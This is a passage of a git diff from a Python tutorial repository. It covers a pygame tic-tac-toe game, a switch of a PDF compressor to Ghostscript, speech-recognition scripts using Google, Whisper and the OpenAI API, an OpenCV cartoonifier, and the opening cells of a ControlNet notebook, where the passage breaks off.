+			instructions = self.font.render('DRAW!!', True, self.game_over_color)
+			screen.blit(instructions,(165,445))
+		else:
+			screen.fill(self.background_color, (135, 445, 188, 35))
+			instructions = self.font.render(f'{self.player} to move', True, self.instructions_color)
+			screen.blit(instructions,(135,445))
+
+
+	def _game_check(self):
+		# vertical check
+		for x_index, col in enumerate(self.table):
+			win = True
+			pattern_list = []
+			for y_index, content in enumerate(col):
+				if content != self.player:
+					win = False
+					break
+				else:
+					pattern_list.append((x_index, y_index))
+			if win == True:
+				self._pattern_strike(pattern_list[0],pattern_list[-1],"ver")
+				self.winner = self.player
+				self.taking_move = False
+				break
+
+		# horizontal check
+		for row in range(len(self.table)):
+			win = True
+			pattern_list = []
+			for col in range(len(self.table)):
+				if self.table[col][row] != self.player:
+					win = False
+					break
+				else:
+					pattern_list.append((col, row))
+			if win == True:
+				self._pattern_strike(pattern_list[0],pattern_list[-1],"hor")
+				self.winner = self.player
+				self.taking_move = False
+				break
+
+		# left diagonal check
+		for index, row in enumerate(self.table):
+			win = True
+			if row[index] != self.player:
+				win = False
+				break
+		if win == True:
+			self._pattern_strike((0,0),(2,2),"left-diag")
+			self.winner = self.player
+			self.taking_move = False
+
+		# right diagonal check
+		for index, row in enumerate(self.table[::-1]):
+			win = True
+			if row[index] != self.player:
+				win = False
+				break
+		if win == True:
+			self._pattern_strike((2,0),(0,2),"right-diag")
+			self.winner = self.player
+			self.taking_move = False
+
+		# blank table cells check
+		blank_cells = 0
+		for row in self.table:
+			for cell in row:
+				if cell == "-":
+					blank_cells += 1
+		if blank_cells == 0:
+			self.taking_move = False
+
+
+	# strikes a line to winning patterns if already has
+	def _pattern_strike(self, start_point, end_point, line_type):
+		# gets the middle value of the cell
+		mid_val = self.cell_size // 2
+
+		# for the vertical winning pattern
+		if line_type == "ver":
+			start_x, start_y = start_point[0] * self.cell_size + mid_val, self.table_space
+			end_x, end_y = end_point[0] * self.cell_size + mid_val, self.table_size - self.table_space
+
+		# for the horizontal winning pattern
+		elif line_type == "hor":
+			start_x, start_y = self.table_space, start_point[-1] * self.cell_size + mid_val
+			end_x, end_y = self.table_size - self.table_space, end_point[-1] * self.cell_size + mid_val
+
+		# for the diagonal winning pattern from top-left to bottom right
+		elif line_type == "left-diag":
+			start_x, start_y = self.table_space, self.table_space
+			end_x, end_y = self.table_size - self.table_space, self.table_size - self.table_space
+
+		# for the diagonal winning pattern from top-right to bottom-left
+		elif line_type == "right-diag":
+			start_x, start_y = self.table_size - self.table_space, self.table_space
+			end_x, end_y = self.table_space, self.table_size - self.table_space
+
+		# draws the line strike
+		line_strike = pygame.draw.line(screen, self.line_color, [start_x, start_y], [end_x, end_y], 8)
+
+
+	def main(self):
+		screen.fill(self.background_color)
+		self._draw_table()
+		while self.running:
+			self._message()
+			for self.event in pygame.event.get():
+				if self.event.type == pygame.QUIT:
+					self.running = False
+
+				if self.event.type == pygame.MOUSEBUTTONDOWN:
+					if self.taking_move:
+						self._move(self.event.pos)
+
+			pygame.display.flip()
+			self.FPS.tick(60)
+
+
+if __name__ == "__main__":
+	g = TicTacToe(window_size[0])
+	g.main()
\ No newline at end of file
diff --git a/handling-pdf-files/pdf-compressor/README.md b/handling-pdf-files/pdf-compressor/README.md
index 4527174c..307f105c 100644
--- a/handling-pdf-files/pdf-compressor/README.md
+++ b/handling-pdf-files/pdf-compressor/README.md
@@ -1,8 +1,48 @@
 # [How to Compress PDF Files in Python](https://www.thepythoncode.com/article/compress-pdf-files-in-python)
-To run this:
-- `pip3 install -r requirements.txt`
-- To compress `bert-paper.pdf` file:
-    ```
-    $ python pdf_compressor.py bert-paper.pdf bert-paper-min.pdf
-    ```
-    This will spawn a new compressed PDF file under the name `bert-paper-min.pdf`.
+
+This directory contains two approaches:
+
+- Legacy (commercial): `pdf_compressor.py` uses PDFTron/PDFNet. PDFNet now requires a license key and the old pip package is not freely available, so this may not work without a license.
+- Recommended (open source): `pdf_compressor_ghostscript.py` uses Ghostscript to compress PDFs.
+
+## Ghostscript method (recommended)
+
+Prerequisite: Install Ghostscript
+
+- macOS (Homebrew):
+  - `brew install ghostscript`
+- Ubuntu/Debian:
+  - `sudo apt-get update && sudo apt-get install -y ghostscript`
+- Windows:
+  - Download and install from https://ghostscript.com/releases/
+  - Ensure `gswin64c.exe` (or `gswin32c.exe`) is in your PATH.
+
+No Python packages are required for this method, only Ghostscript.
+
+### Usage
+
+To compress `bert-paper.pdf` into `bert-paper-min.pdf` with default quality (`power=2`):
+
+```
+python pdf_compressor_ghostscript.py bert-paper.pdf bert-paper-min.pdf
+```
+
+Optional quality level `[power]` controls compression/quality tradeoff (maps to Ghostscript `-dPDFSETTINGS`):
+
+- 0 = `/screen` (smallest, lowest quality)
+- 1 = `/ebook` (good quality)
+- 2 = `/printer` (high quality) [default]
+- 3 = `/prepress` (very high quality)
+- 4 = `/default` (Ghostscript default)
+
+Example:
+
+```
+python pdf_compressor_ghostscript.py bert-paper.pdf bert-paper-min.pdf 1
+```
+
+In testing, `bert-paper.pdf` (~757 KB) compressed to ~407 KB with `power=1`.
+
+## Legacy PDFNet method (requires license)
+
+If you have a valid license and the PDFNet SDK installed, you can use the original `pdf_compressor.py` script. Note that the previously referenced `PDFNetPython3` pip package is not freely available and may not install via pip. Refer to the vendor's documentation for installation and licensing.
\ No newline at end of file
diff --git a/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py b/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py
new file mode 100644
index 00000000..88de4062
--- /dev/null
+++ b/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py
@@ -0,0 +1,103 @@
+import os
+import sys
+import subprocess
+import shutil
+
+
+def get_size_format(b, factor=1024, suffix="B"):
+    for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]:
+        if b < factor:
+            return f"{b:.2f}{unit}{suffix}"
+        b /= factor
+    return f"{b:.2f}Y{suffix}"
+
+
+def find_ghostscript_executable():
+    candidates = [
+        shutil.which('gs'),
+        shutil.which('gswin64c'),
+        shutil.which('gswin32c'),
+    ]
+    for c in candidates:
+        if c:
+            return c
+    return None
+
+
+def compress_file(input_file: str, output_file: str, power: int = 2):
+    """Compress PDF using Ghostscript.
+
+    power:
+        0 -> /screen (lowest quality, highest compression)
+        1 -> /ebook (good quality)
+        2 -> /printer (high quality) [default]
+        3 -> /prepress (very high quality)
+        4 -> /default (Ghostscript default)
+    """
+    if not os.path.exists(input_file):
+        raise FileNotFoundError(f"Input file not found: {input_file}")
+    if not output_file:
+        output_file = input_file
+
+    initial_size = os.path.getsize(input_file)
+
+    gs = find_ghostscript_executable()
+    if not gs:
+        raise RuntimeError(
+            "Ghostscript not found. Install it and ensure 'gs' (Linux/macOS) "
+            "or 'gswin64c'/'gswin32c' (Windows) is in PATH."
+        )
+
+    settings_map = {
+        0: '/screen',
+        1: '/ebook',
+        2: '/printer',
+        3: '/prepress',
+        4: '/default',
+    }
+    pdfsettings = settings_map.get(power, '/printer')
+
+    cmd = [
+        gs,
+        '-sDEVICE=pdfwrite',
+        '-dCompatibilityLevel=1.4',
+        f'-dPDFSETTINGS={pdfsettings}',
+        '-dNOPAUSE',
+        '-dBATCH',
+        '-dQUIET',
+        f'-sOutputFile={output_file}',
+        input_file,
+    ]
+
+    try:
+        subprocess.run(cmd, check=True)
+    except subprocess.CalledProcessError as e:
+        print(f"Ghostscript failed: {e}")
+        return False
+
+    compressed_size = os.path.getsize(output_file)
+    ratio = 1 - (compressed_size / initial_size)
+    summary = {
+        "Input File": input_file,
+        "Initial Size": get_size_format(initial_size),
+        "Output File": output_file,
+        "Compressed Size": get_size_format(compressed_size),
+        "Compression Ratio": f"{ratio:.3%}",
+    }
+
+    print("## Summary ########################################################")
+    for k, v in summary.items():
+        print(f"{k}: {v}")
+    print("###################################################################")
+    return True
+
+
+if __name__ == '__main__':
+    if len(sys.argv) < 3:
+        print("Usage: python pdf_compressor_ghostscript.py <input.pdf> <output.pdf> [power 0-4]")
+        sys.exit(1)
+    input_file = sys.argv[1]
+    output_file = sys.argv[2]
+    power = int(sys.argv[3]) if len(sys.argv) > 3 else 2
+    ok = compress_file(input_file, output_file, power)
+    sys.exit(0 if ok else 2)
\ No newline at end of file
diff --git a/handling-pdf-files/pdf-compressor/requirements.txt b/handling-pdf-files/pdf-compressor/requirements.txt
index 0a664a86..9f6e5337 100644
--- a/handling-pdf-files/pdf-compressor/requirements.txt
+++ b/handling-pdf-files/pdf-compressor/requirements.txt
@@ -1 +1,7 @@
-PDFNetPython3==8.1.0
\ No newline at end of file
+# No Python dependencies required for Ghostscript-based compressor.
+# System dependency: Ghostscript
+# - macOS:   brew install ghostscript
+# - Debian:  sudo apt-get install -y ghostscript
+# - Windows: https://ghostscript.com/releases/
+#
+# The legacy script (pdf_compressor.py) depends on PDFNet (commercial) and a license key.
\ No newline at end of file
diff --git a/images/codingfleet-banner-2.png b/images/codingfleet-banner-2.png
new file mode 100644
index 00000000..e95c4d27
Binary files /dev/null and b/images/codingfleet-banner-2.png differ
diff --git a/images/codingfleet-banner-3.png b/images/codingfleet-banner-3.png
new file mode 100644
index 00000000..9f27495e
Binary files /dev/null and b/images/codingfleet-banner-3.png differ
diff --git a/images/iproyal-1.png b/images/iproyal-1.png
new file mode 100644
index 00000000..9e607e13
Binary files /dev/null and b/images/iproyal-1.png differ
diff --git a/machine-learning/asr/7601-291468-0006.wav b/machine-learning/asr/7601-291468-0006.wav
new file mode 100644
index 00000000..0f6d5f83
Binary files /dev/null and b/machine-learning/asr/7601-291468-0006.wav differ
diff --git a/machine-learning/asr/OSR_us_000_0060_8k.wav b/machine-learning/asr/OSR_us_000_0060_8k.wav
new file mode 100644
index 00000000..e08c027e
Binary files /dev/null and b/machine-learning/asr/OSR_us_000_0060_8k.wav differ
diff --git a/machine-learning/asr/README.md b/machine-learning/asr/README.md
new file mode 100644
index 00000000..b3f973bf
--- /dev/null
+++ b/machine-learning/asr/README.md
@@ -0,0 +1 @@
+# [Speech Recognition in Python](https://www.thepythoncode.com/article/speech-recognition-in-python)
\ No newline at end of file
diff --git a/machine-learning/asr/arabic-audio.wav b/machine-learning/asr/arabic-audio.wav
new file mode 100644
index 00000000..e20c35a4
Binary files /dev/null and b/machine-learning/asr/arabic-audio.wav differ
diff --git a/machine-learning/asr/cual-es-la-fecha-cumple.mp3 b/machine-learning/asr/cual-es-la-fecha-cumple.mp3
new file mode 100644
index 00000000..2ab59991
Binary files /dev/null and b/machine-learning/asr/cual-es-la-fecha-cumple.mp3 differ
diff --git a/machine-learning/asr/requirements.txt b/machine-learning/asr/requirements.txt
new file mode 100644
index 00000000..c9d74b1c
--- /dev/null
+++ b/machine-learning/asr/requirements.txt
@@ -0,0 +1,8 @@
+transformers==4.28.1
+soundfile 
+sentencepiece 
+torchaudio 
+pydub
+openai
+SpeechRecognition
+pyaudio
\ No newline at end of file
diff --git a/machine-learning/asr/speechrecognition.py b/machine-learning/asr/speechrecognition.py
new file mode 100644
index 00000000..e9f09883
--- /dev/null
+++ b/machine-learning/asr/speechrecognition.py
@@ -0,0 +1,105 @@
+# importing libraries 
+import speech_recognition as sr 
+import os 
+from pydub import AudioSegment
+from pydub.silence import split_on_silence
+
+# create a speech recognition object
+r = sr.Recognizer()
+
+# a function to recognize speech in the audio file
+# so that we don't repeat ourselves in in other functions
+def transcribe_audio(path):
+    # use the audio file as the audio source
+    with sr.AudioFile(path) as source:
+        audio_listened = r.record(source)
+        # try converting it to text
+        text = r.recognize_google(audio_listened)
+    return text
+
+# a function that splits the audio file into chunks on silence
+# and applies speech recognition
+def get_large_audio_transcription_on_silence(path):
+    """
+    Splitting the large audio file into chunks
+    and apply speech recognition on each of these chunks
+    """
+    # open the audio file using pydub
+    sound = AudioSegment.from_file(path)  
+    # split audio sound where silence is 700 miliseconds or more and get chunks
+    chunks = split_on_silence(sound,
+        # experiment with this value for your target audio file
+        min_silence_len = 500,
+        # adjust this per requirement
+        silence_thresh = sound.dBFS-14,
+        # keep the silence for 1 second, adjustable as well
+        keep_silence=500,
+    )
+    folder_name = "audio-chunks"
+    # create a directory to store the audio chunks
+    if not os.path.isdir(folder_name):
+        os.mkdir(folder_name)
+    whole_text = ""
+    # process each chunk 
+    for i, audio_chunk in enumerate(chunks, start=1):
+        # export audio chunk and save it in
+        # the `folder_name` directory.
+        chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
+        audio_chunk.export(chunk_filename, format="wav")
+        # recognize the chunk
+        with sr.AudioFile(chunk_filename) as source:
+            audio_listened = r.record(source)
+            # try converting it to text
+            try:
+                text = r.recognize_google(audio_listened)
+            except sr.UnknownValueError as e:
+                print("Error:", str(e))
+            else:
+                text = f"{text.capitalize()}. "
+                print(chunk_filename, ":", text)
+                whole_text += text
+    # return the text for all chunks detected
+    return whole_text
+
+
+# a function that splits the audio file into fixed interval chunks
+# and applies speech recognition
+def get_large_audio_transcription_fixed_interval(path, minutes=5):
+    """
+    Splitting the large audio file into fixed interval chunks
+    and apply speech recognition on each of these chunks
+    """
+    # open the audio file using pydub
+    sound = AudioSegment.from_file(path)  
+    # split the audio file into chunks
+    chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds
+    chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)]
+    folder_name = "audio-fixed-chunks"
+    # create a directory to store the audio chunks
+    if not os.path.isdir(folder_name):
+        os.mkdir(folder_name)
+    whole_text = ""
+    # process each chunk 
+    for i, audio_chunk in enumerate(chunks, start=1):
+        # export audio chunk and save it in
+        # the `folder_name` directory.
+        chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
+        audio_chunk.export(chunk_filename, format="wav")
+        # recognize the chunk
+        with sr.AudioFile(chunk_filename) as source:
+            audio_listened = r.record(source)
+            # try converting it to text
+            try:
+                text = r.recognize_google(audio_listened)
+            except sr.UnknownValueError as e:
+                print("Error:", str(e))
+            else:
+                text = f"{text.capitalize()}. "
+                print(chunk_filename, ":", text)
+                whole_text += text
+    # return the text for all chunks detected
+    return whole_text
+
+
+if __name__ == "__main__":
+    print(get_large_audio_transcription_on_silence("7601-291468-0006.wav"))
\ No newline at end of file
diff --git a/machine-learning/asr/transformers_whisper.py b/machine-learning/asr/transformers_whisper.py
new file mode 100644
index 00000000..df8b2736
--- /dev/null
+++ b/machine-learning/asr/transformers_whisper.py
@@ -0,0 +1,63 @@
+from transformers import WhisperProcessor, WhisperForConditionalGeneration
+import torch
+import torchaudio
+
+device = "cuda:0" if torch.cuda.is_available() else "cpu"
+# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB
+# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB
+# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB
+# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB
+whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB
+# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB
+# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB
+# whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB
+# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB
+
+# load the model and the processor
+whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name)
+whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device)
+
+def load_audio(audio_path):
+  """Load the audio file & convert to 16,000 sampling rate"""
+  # load our wav file
+  speech, sr = torchaudio.load(audio_path)
+  resampler = torchaudio.transforms.Resample(sr, 16000)
+  speech = resampler(speech)
+  return speech.squeeze()
+
+
+def get_transcription_whisper(audio_path, model, processor, language="english", skip_special_tokens=True):
+  # resample from whatever the audio sampling rate to 16000
+  speech = load_audio(audio_path)
+  # get the input features from the audio file
+  input_features = processor(speech, return_tensors="pt", sampling_rate=16000).input_features.to(device)
+  # get the forced decoder ids
+  forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task="transcribe")
+  # print(forced_decoder_ids)
+  # generate the transcription
+  predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids)
+  # decode the predicted ids
+  transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0]
+  return transcription
+
+
+if __name__ == "__main__":
+    english_transcription = get_transcription_whisper("7601-291468-0006.wav",
+                            whisper_model,
+                            whisper_processor,
+                            language="english",
+                            skip_special_tokens=True)
+    print("English transcription:", english_transcription)
+    arabic_transcription = get_transcription_whisper("arabic-audio.wav",
+                          whisper_model,
+                          whisper_processor,
+                          language="arabic",
+                          skip_special_tokens=True)
+    print("Arabic transcription:", arabic_transcription)
+    spanish_transcription = get_transcription_whisper("cual-es-la-fecha-cumple.mp3",
+                          whisper_model,
+                          whisper_processor,
+                          language="spanish",
+                          skip_special_tokens=True)
+    print("Spanish transcription:", spanish_transcription)
+    
\ No newline at end of file
diff --git a/machine-learning/asr/transformers_whisper_long.py b/machine-learning/asr/transformers_whisper_long.py
new file mode 100644
index 00000000..1f7916c8
--- /dev/null
+++ b/machine-learning/asr/transformers_whisper_long.py
@@ -0,0 +1,44 @@
+
+from transformers import pipeline
+import torch
+import torchaudio
+
+device = "cuda:0" if torch.cuda.is_available() else "cpu"
+# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB
+# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB
+# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB
+# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB
+whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB
+# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB
+# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB
+# whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB
+# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB
+
+def load_audio(audio_path):
+  """Load the audio file & convert to 16,000 sampling rate"""
+  # load our wav file
+  speech, sr = torchaudio.load(audio_path)
+  resampler = torchaudio.transforms.Resample(sr, 16000)
+  speech = resampler(speech)
+  return speech.squeeze()
+
+
+def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, 
+                                   chunk_length_s=10, stride_length_s=1):
+    """Get the transcription of a long audio file using the Whisper model"""
+    return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps,
+                chunk_length_s=chunk_length_s, stride_length_s=stride_length_s)
+    
+    
+if __name__ == "__main__":
+    # initialize the pipeline
+    pipe = pipeline("automatic-speech-recognition", 
+                model=whisper_model_name, device=device)
+    # get the transcription of a sample long audio file
+    output = get_long_transcription_whisper(
+        "7601-291468-0006.wav", pipe, chunk_length_s=10, stride_length_s=2)
+    print(f"Transcription: {output}")
+    print("="*50)
+    for chunk in output["chunks"]:
+        # print the timestamp and the text
+        print(chunk["timestamp"], ":", chunk["text"])
\ No newline at end of file
diff --git a/machine-learning/asr/whisper_api.py b/machine-learning/asr/whisper_api.py
new file mode 100644
index 00000000..8187277d
--- /dev/null
+++ b/machine-learning/asr/whisper_api.py
@@ -0,0 +1,16 @@
+import openai
+
+# API key
+openai.api_key = "<API_KEY>"
+
+def get_openai_api_transcription(audio_filename):
+    # open the audio file
+    with open(audio_filename, "rb") as audio_file:
+        # transcribe the audio file
+        transcription = openai.Audio.transcribe("whisper-1", audio_file) # whisper-1 is the model name
+    return transcription
+
+
+if __name__ == "__main__":
+    transcription = get_openai_api_transcription("7601-291468-0006.wav")
+    print(transcription.get("text"))
\ No newline at end of file
diff --git a/machine-learning/asr/whisper_api_long.py b/machine-learning/asr/whisper_api_long.py
new file mode 100644
index 00000000..7768749b
--- /dev/null
+++ b/machine-learning/asr/whisper_api_long.py
@@ -0,0 +1,77 @@
+from pydub.silence import split_on_silence
+from pydub import AudioSegment
+from whisper_api import get_openai_api_transcription
+import os
+
+# a function that splits the audio file into chunks
+# and applies speech recognition
+def get_large_audio_transcription_on_silence(path):
+    """
+    Splitting the large audio file into chunks
+    and apply speech recognition on each of these chunks
+    """
+    # open the audio file using pydub
+    sound = AudioSegment.from_file(path)  
+    # split audio sound where silence is 700 miliseconds or more and get chunks
+    chunks = split_on_silence(sound,
+        # experiment with this value for your target audio file
+        min_silence_len = 500,
+        # adjust this per requirement
+        silence_thresh = sound.dBFS-14,
+        # keep the silence for 1 second, adjustable as well
+        keep_silence=500,
+    )
+    folder_name = "audio-chunks"
+    # create a directory to store the audio chunks
+    if not os.path.isdir(folder_name):
+        os.mkdir(folder_name)
+    whole_text = ""
+    # process each chunk 
+    for i, audio_chunk in enumerate(chunks, start=1):
+        # export audio chunk and save it in
+        # the `folder_name` directory.
+        chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
+        audio_chunk.export(chunk_filename, format="wav")
+        # recognize the chunk
+        transcription = get_openai_api_transcription(chunk_filename)
+        print(f"{chunk_filename}: {transcription.get('text')}")
+        whole_text += " " + transcription.get("text")
+    # return the text for all chunks detected
+    return whole_text
+
+
+# a function that splits the audio file into fixed interval chunks
+# and applies speech recognition
+def get_large_audio_transcription_fixed_interval(path, minutes=5):
+    """
+    Splitting the large audio file into 5-minute chunks
+    and apply speech recognition on each of these chunks
+    """
+    # open the audio file using pydub
+    sound = AudioSegment.from_file(path)  
+    # split the audio file into chunks
+    chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds
+    chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)]
+    folder_name = "audio-fixed-chunks"
+    # create a directory to store the audio chunks
+    if not os.path.isdir(folder_name):
+        os.mkdir(folder_name)
+    whole_text = ""
+    # process each chunk 
+    for i, audio_chunk in enumerate(chunks, start=1):
+        # export audio chunk and save it in
+        # the `folder_name` directory.
+        chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
+        audio_chunk.export(chunk_filename, format="wav")
+        # recognize the chunk
+        transcription = get_openai_api_transcription(chunk_filename)
+        print(f"{chunk_filename}: {transcription.get('text')}")
+        whole_text += " " + transcription.get("text")
+    # return the text for all chunks detected
+    return whole_text
+
+
+
+if __name__ == "__main__":
+    # print("\nFull text:", get_large_audio_transcription_fixed_interval("032.mp3", minutes=1))
+    print("\nFull text:", get_large_audio_transcription_on_silence("7601-291468-0006.wav"))
\ No newline at end of file
diff --git a/machine-learning/cartoonify-images/README.md b/machine-learning/cartoonify-images/README.md
new file mode 100644
index 00000000..29d1ccd1
--- /dev/null
+++ b/machine-learning/cartoonify-images/README.md
@@ -0,0 +1 @@
+# [How to Cartoonify Images in Python](https://thepythoncode.com/article/make-a-cartoonifier-with-opencv-in-python)
\ No newline at end of file
diff --git a/machine-learning/cartoonify-images/cartooned_hazrard2.jpg b/machine-learning/cartoonify-images/cartooned_hazrard2.jpg
new file mode 100644
index 00000000..51166476
Binary files /dev/null and b/machine-learning/cartoonify-images/cartooned_hazrard2.jpg differ
diff --git a/machine-learning/cartoonify-images/cartoonifier.py b/machine-learning/cartoonify-images/cartoonifier.py
new file mode 100644
index 00000000..24bcd785
--- /dev/null
+++ b/machine-learning/cartoonify-images/cartoonifier.py
@@ -0,0 +1,44 @@
+import cv2, argparse, sys
+
+
+# In this function, we accept an image and convert it to a cartoon form.
+def cartoonizer(image_name):
+    # Load the image to cartoonize.
+    image_to_animate = cv2.imread(image_name)
+
+    # Apply a bilateral filter to smoothen the image while preserving edges.
+    smoothened_image = cv2.bilateralFilter(image_to_animate, d=9, sigmaColor=75, sigmaSpace=75)
+
+    # Convert image to gray and create an edge mask using adaptive thresholding.
+    gray_image = cv2.cvtColor(smoothened_image, cv2.COLOR_BGR2GRAY)
+    edges = cv2.adaptiveThreshold(gray_image, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9)
+
+    # Combine the smoothened image and the edge mask to create a cartoon-like effect.
+    to_cartoon = cv2.bitwise_and(smoothened_image, smoothened_image, mask=edges)
+
+    # Save the cartoon image in our current directory. A new Image would be generated in your current directory.
+    cartooned_image = f"cartooned_{image_name}"
+    cv2.imwrite(cartooned_image, to_cartoon)
+
+    # Display the result.
+    cv2.imshow("Cartooned Image", to_cartoon)
+    cv2.waitKey(0)
+    cv2.destroyAllWindows()
+
+
+# In this function, we accept user's argument from the terminal. -i or --image to specify the image.
+def get_image_argument():
+    parser = argparse.ArgumentParser(description="Please specify an image to 'cartoonify'.")
+    parser.add_argument('-i', '--image', help="Please use -h or --help to see usage.", dest='image')
+    argument = parser.parse_args()
+
+    if not argument.image:
+        print("[-] Please specify an image. Use --help to see usage.")
+        sys.exit()  # Exit the program
+
+    return argument
+
+
+# We get the user's input (image) from the terminal and pass it into cartoonizer function.
+image_args = get_image_argument()
+cartoonizer(image_args.image)
diff --git a/machine-learning/cartoonify-images/hazrard2.jpg b/machine-learning/cartoonify-images/hazrard2.jpg
new file mode 100644
index 00000000..ccb1dd9a
Binary files /dev/null and b/machine-learning/cartoonify-images/hazrard2.jpg differ
diff --git a/machine-learning/cartoonify-images/requirements.txt b/machine-learning/cartoonify-images/requirements.txt
new file mode 100644
index 00000000..1db7aea1
--- /dev/null
+++ b/machine-learning/cartoonify-images/requirements.txt
@@ -0,0 +1 @@
+opencv-python
\ No newline at end of file
diff --git a/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb b/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..e2500451
--- /dev/null
+++ b/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb
@@ -0,0 +1,20363 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "8_55MSKhrtss",
+        "outputId": "44fe5aac-1542-4f19-b926-6fee990835e9"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install -qU xformers diffusers transformers accelerate"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "Xrl7OL6BrtpU",
+        "outputId": "9525d6ad-4af6-4a9f-98b0-6d76308fdf13"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install -qU  controlnet_aux\n",
+        "!pip install opencv-contrib-python"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "h6XPbq0FrPQG"
+      },
+      "source": [
+        "# Open Pose"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "0wEufS0RrObO",
+        "outputId": "77977e89-4b72-4a5d-b39a-801953031247"
+      },
+      "outputs": [],
+      "source": [
+        "from PIL import Image\n",
+        "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n",
+        "import torch\n",
+        "from controlnet_aux import OpenposeDetector\n",
+        "from diffusers.utils import load_image\n",
+        "from tqdm import tqdm\n",
+        "from torch import autocast"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 662,
+          "referenced_widgets": [
+            "a74467c946df4fe99fba1b2751a0cad1",
+            "48dabed3f2ce465ab16a704e0c6b12f7",
+            "810aba56f12342fcbcb7344d08235ec8",
+            "0dc0896c330d417a8b452d27699f86bf",
+            "9074425e4bf04c428926f5504cd3a8de",
+            "962917ac2b044e5989e88100ceb45296",
+            "a212be07369b404eb9f04a9cde6543d4",
+            "bf52593db97e4b5f876d22d5c27e8c0d",
+            "ed79049f4f3a41899ce7744c6733bf27",
+            "6fbeaf60da4746b6a1c02a211657886b",
+            "9d1f8ee81b994f94882d776f6e401f02",
+            "d14a6ce3bc334df5a2f319932fd9a338",
+            "05ba62113d1840c38f0bcf8f291f7439",
+            "117ca4fd09bb4ebeb8eae3ba5c3112f5",
+            "b2fad15effb84bce8aac9b9d2bf94b19",
+            "78493887a0f5466cbfe8dff7f5fbd801",
+            "5850294bc56d489cb8eb90483f77254e",
+            "9d2061e3643940f496528dc7ad6e6e2e",
+            "52403e4bc442416fac24e0880f2a3faf",
+            "38eb1d06f0094645944b5d305b575927",
+            "4e264753749d48a8aab85b9f8fe30aba",
+            "014e701444c54eee97d0b36ea38344ab",
+            "b57cb9d64aa44f748fc6cffc6f95f5a3",
+            "335f1c1d85ec4723b8796b79d518c7be",
+            "e9ef39e82cf645e396daea04a1e178f1",
+            "97570891602f4963bdfaacd309438ca7",
+            "036af165dae748a19a3691dbe74e7a1a",
+            "f9f461994c7e41aba3124dd5ee0b1525",
+            "3e7b34f2b1764dbb82caaf245771abc0",
+            "02f92b3266a54cc1885140f1a378d784",
+            "d504edae2a2f4beb851928ca770b2701",
+            "93d2d9e917d84072ae401952c12904bf",
+            "636973b7927b44bbaac28737227e7599",
+            "9a3d9f15c9b8495498d8910dc60d9fc0",
+            "aec13914c37649feb868b8f531a07a83",
+            "4b4b8aee32724ff5b0a40f9af956fe72",
+            "b3967f91f621495cb1715427fcc57011",
+            "d5b65c5e85704b02be5a0fa2ab7569fa",
+            "fd3e1648c2b84f5f81cd7ee3d2fbc4c0",
+            "25d1091281ad407c833a36c7e421e1e2",
+            "15c1713762124e828b20f54684e496d0",
+            "e16487cbe8d74b5baad0d41dbdeeedbb",
+            "d4b746bc99074570a82175ef438cfb10",
+            "8f92d6ba8bd04fabb8e6dddf0c7dfa44",
+            "352a7d961cac483a82ea16cdb77a0368",
+            "20285260958f4620b906e7a21f44c555",
+            "85caf1e9b73e46cea1ce2c4ebf92554b",
